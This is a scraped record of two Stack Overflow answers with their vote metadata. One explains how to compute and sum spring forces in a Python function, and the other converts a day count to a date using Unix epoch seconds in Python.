accepted answer of: http://stackoverflow.com/q/48670339

http://stackoverflow.com/a/48776835
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/48776611
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48776611
has body: You should define your SpringForce function to calculate each spring force seperately, then add the forces together at the end. def springForce(x, s, a, l): return s*((l/abs(x-a))-1)*(x-a) F = springForce(x, s1, a1, l1) + springForce(x, s2, a2, l2) + G It's worth noting that what you did with your function in your initial code example is a little pointless. There are two reasons you might want to make a function: To avoid repeating exactly the same code multiple times To abstract away chunks of code, potentially enhancing readability Your function as written doesn't do either of these two things, so you would be better off without it.
type: Answer
has comment: http://stackoverflow.com/comment/84555411

http://stackoverflow.com/a/48769382
upvote count: 1
has body: Use the epoch conversion which is also supported by the python time library. The unix epoch time starts on 01/01/1970 and is counted in seconds. If you add 788932800 seconds to reach 01/01/1995, you can then add 86400 (seconds per day) and can use standard techniques to calculated the "seconds from epoch" back to a correct date. Example code: #!/usr/bin/python import time entryid = 5 epochdate = 788932800 + entryid * 86400 print time.strftime("%d/%m/%y", time.gmtime(epochdate))
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/48769314